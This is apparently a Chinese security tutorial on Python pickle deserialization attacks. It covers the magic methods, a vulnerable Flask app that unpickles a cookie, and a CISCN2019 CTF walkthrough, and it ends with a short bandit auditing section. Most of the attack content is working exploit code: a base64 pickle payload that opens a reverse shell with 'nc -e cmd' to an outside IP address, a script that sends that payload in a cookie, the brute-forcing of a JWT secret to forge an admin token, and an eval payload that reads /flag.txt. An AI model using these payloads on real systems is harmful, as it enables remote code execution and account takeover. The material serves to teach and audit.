#知识点:
1、Python-反序列化函数使用
2、Python-反序列化魔术方法
3、Python-反序列化POP链构造
4、Python-自动化审计bandit使用
#前置知识:
函数使用:
1.文件格式:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
2.字节流:
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
魔术方法:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
各类语言函数:
Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等
PHP: serialize()、 unserialize()
Python:pickle marshal PyYAML shelve PIL unzip
一、原理 - 反序列化/序列化时调用魔术方法
- 魔术方法利用:__reduce__() 反序列化时被调用
__reduce_ex__() 反序列化时被调用
__setstate__() 反序列化时被调用
__getstate__() 序列化时被调用
【例1】:__reduce__(),反序列化时,被自动调用
import pickle
import os
class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a) #序列化操作
pickle.loads(p_a) #反序列化操作
print('==========')
print(p_a)
运行后弹出计算器,输出:

当我们把pickle.loads(p_a)注释时候,只会输出内容,不会弹出计算器
说明执行反序列化操作时 pickle.loads(p_a) ,会自动调用魔术方法__reduce__(),执行__reduce__()需要一个返回值。
参考:https://www.cnblogs.com/angelyan/p/11079267.html
【例2】:__setstate__(),反序列化时,被自动调用
import pickle
import os
class SerializePerson():
def __init__(self, name):
self.name = name
# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化(对象->字符串)
pickle.loads(tmp) # 反序列化 此时会弹出计算器
执行弹出计算器,把pickle.loads(tmp)注释后,不会有任何反应。
说明在执行pickle.loads(tmp) 反序列化操作时,__setstate__()被自动执行
【例3】:__getstate__(),序列化时,被自动调用
#序列化魔术方法调用-getstate
import pickle
import os
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a = A()
p_a = pickle.dumps(a) #序列化(对象->字符串)
print('==========')
print(p_a)
弹出计算器,输出:
序列化调用
==========
b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x01A\x94\x93\x94)\x81\x94.'
说明在执行pickle.dumps(a) 序列化操作时,__getstate__()被调用
二 、反序列化安全漏洞产生-DEMO
【例】:
import pickle
import os
class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')
def __reduce__(self):
print('反序列化调用')
return (self.func, self.arg)
a = A(os.system, ('calc',)) #'This is A' 可攻击的地方,可以把('calc',)修改任意命令,比如“ipconfig”
p_a = pickle.dumps(a) #序列化
pickle.loads(p_a) #反序列化,触发__reduce__()
print('==========')
print(p_a)
传参:
self.func=os.system
self.arg=calc
弹出计算器,输出
This is A
反序列化调用
==========
b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x04calc\x94\x85\x94R\x94.'
如果把calc改为ipconfig,那么就会打印ipconfig的结果。
3、CTF-反序列化漏洞利用-构造&RCE
环境介绍:利用Python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞!
#Server服务器:
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user) #字符串->对象,反序列化(但是没有看到魔法方法)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(
host='192.168.4.119',
port=5000,
debug=True
)
(1)修改数据包
① 访问192.168.124.86:5000
输出Hello Guest

分析代码:
访问根目录的时候,就会触发上面的代码,代码接受cookie里面user的值;如果没有则执行except,输出Hello Guest
user = pickle.loads(user)进行了反序列化,如果cookie有对应的值,则输出。
抓取访问数据包:
GET / HTTP/1.1
Host: 192.168.124.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
发现没有cookie这一栏,所以他是输出hello guest
但是在这里没有看到魔术方法,类等。但是python的反序列化跟php和java的反序列化不一样,他的危害更大,只需要用到这个函数,就可以进行构造
思路:
web应用接受cookie里面的user值,对其进行反序列化操作
攻击思路:
如果cookie中植入user的值,user的值就是生成的恶意序列化数据(程序会反序列化一次)
构造执行计算器的命令代码:
# 构造执行计算机命令的,编码字符串
import pickle
import os
import base64
class A(object):
def __reduce__(self): #反序列化时调用
# 恶意命令
return (os.system,('calc.exe',))
a=A()
p_a = pickle.dumps(a) #对象->字符串,反序列化
p_a = base64.b64encode(p_a) #字符串编码(被植入恶意命令后的字符串编码)
print (p_a)
输出结果:gASVIAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjAhjYWxjLmV4ZZSFlFKULg==
#编码的命令字符串将被解码,然后命令被执行
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user')) #字符串解码
user = pickle.loads(user) #字符串->对象,反序列化(但是没有看到魔法方法)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(
host='192.168.4.119',
port=5000,
debug=True
)
修改数据包,将输出的值用cookie去发送:Cookie:user=gASVIAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjAhjYWxjLmV4ZZSFlFKULg==

发送,进行了弹窗。同样也可以用反弹shell
(2)用pyhton脚本进行shell命令反弹:
import pickle
import os
import base64
class A(object):
def __reduce__(self): #反序列化时调用
# 反弹shell,反弹到47.94.236.117的5566端口
return (os.system,('c:/nc -e cmd 47.94.236.117 5566',))
a=A()
p_a = pickle.dumps(a) #对象->字符串,反序列化
p_a = base64.b64encode(p_a) #字符串编码(被植入恶意命令后的字符串编码),bytes格式的
print (p_a)
输出带有nc命令的编码字符串:(bytes格式)
gANjbnQKc3lzdGVtCnEAWB8AAABjOi9uYyAtZSBjbWQgNDcuOTQuMjM2LjExNyA1NTY2cQGFcQJScQMu
本地监听:nc -lvvp

修改数据,查看监听:

也可以不通过burpsuite修改数据包,而是直接利用python脚本实现反弹:
import pickle
import os
import base64
import requests
class A(object):
def __reduce__(self): #反序列化时调用
# 反弹shell,反弹到47.94.236.117的5566端口
return (os.system,('c:/nc -e cmd 47.94.236.117 5566',))
a=A()
p_a = pickle.dumps(a) #对象->字符串,反序列化
p_a = base64.b64encode(p_a).decode() #字符串编码(被植入恶意命令后的字符串编码),再对bytes格式的字符串进行解码
print (p_a)
h = {
'cookie':'user='+p_a
}
requests.get('http://192.168.1.3:5000/', headers=h)
#Server服务器:
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user')) #字符串解码
user = pickle.loads(user) #字符串->对象,反序列化(但是没有看到魔法方法)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(
host='192.168.4.119',
port=5000,
debug=True
)
4、CTF-CISCN2019华北-JWT&python反序列化漏洞的发现和利用
漏洞地址:http://c0bd11f1-8483-4502-9fa9-a775cbf92b31.node5.buuoj.cn:81/shop
思路:页面提示->先要找到LV6->购买修改支付逻辑->绕过admin限制需修改jwt值->爆破jwt密匙->重组jwt值成为admin->购买进入会员中心->源码找到文件压缩源码->Python代码审计反序列化->构造读取flag代码进行序列化打印->提交获取
考点1:JWT 身份验证 攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt-cracker
考点2:Python 代码审计 反序列化:
自动工具:https://github.com/PyCQA/bandit
参考资料:https://github.com/bit4woo/python_sec
1. 打开页面,发现有很多lv4 lv3 查看图片地址/static/img/lv/lv4.png和/static/img/lv/lv3.png,推测lv6一定是/static/img/lv/lv6.png地址。
通过python脚本,爬取页面数据,找到lv6所在页面
#爬取页面数据
import requests,time
url = 'http://c0bd11f1-8483-4502-9fa9-a775cbf92b31.node5.buuoj.cn:81/shop?page='
for i in range(0,2000): #i-
time.sleep(0.2)
r = requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break
else:
print(str(i)+'|no')

爬取到181页时跳出循环,所以打开181页,发现了lv6
所以lv6所在页面是:http://c0bd11f1-8483-4502-9fa9-a775cbf92b31.node5.buuoj.cn:81/shop?page=181
2. 注册一个账户,然后登录,余额只有1000

3. 点击购买时,抓取数据包:发现有优惠价-20%

尝试修改discount的值,

把请求放出去后,发现页面提示只允许admin访问

所以应该是有身份验证的,session,cookie,jwt等等
4. 查看cookie中的数据,发现是通过“JWT”来验证身份的
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InhpYW9kaXNlIn0.sp8rXrjACzFQKgQyqaLGvVLCNEYFe6bjYn-M-1PGGnc
5.把jwt的数据放到jwt解密平台https://jwt.io/中解密,用户名是目前登录的用户,不是admin

6. 想要把“username”修改为admin,就要拿到密钥,这里可以通过爆破的方式拿到密钥
7. 用到脚本c-jwt-cracker破解,拿到密钥
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InhpYW9kaSJ9.UHCykJtUJ4jeYAWAYFU73QiNhn7mZLUHE7kKo4oJpK8
解密出来: 1Kun
8. 将username修改为“admin”,填写密钥为“1Kun”,拿到加密后的用户验证jwt

得到JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
9. 重新发包,并修改discount和JWT的值


结果:支付成功

10. 当前页面,右键“查看页面源代码”,发现一个zip文件,可能是源代码,下载下来

11. 查看源代码(涉及到python反序列化),进行全局搜索关键字 pickle

12.找到反序列化函数,然后构造payload(python2编写的):
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload()) #对象转字符串
a = urllib.quote(a) #解码
print a
这个是用python2写的,也要看网站是什么搭建的,要用相对应的版本(审查元素,或者对应函数使用)
用python2去运行,生成payload:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
继续看谁调用了这个函数,在__init__文件中

所以是(r'/b1g_m4mber', AdminHandler),/b1g_m4mber调用了这个文件
查看这个页面的表单

所以post提交:http://xxx.buuoj.cn:81/blg_m4mber
become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
得到flag:

5、python反序列化自动化审计工具 - bandit安装及使用
参考:https://bandit.readthedocs.io/
安装:pip install bandit(直接执行)
linux:
安装后会在当前Python目录下bin
使用:bandit -r 需要审计的源码目录
windows:
安装后会在当前Python目录下script
使用:bandit -r 需要审计的源码目录

定位到反序列化的漏洞的代码位置:

浙公网安备 33010602011771号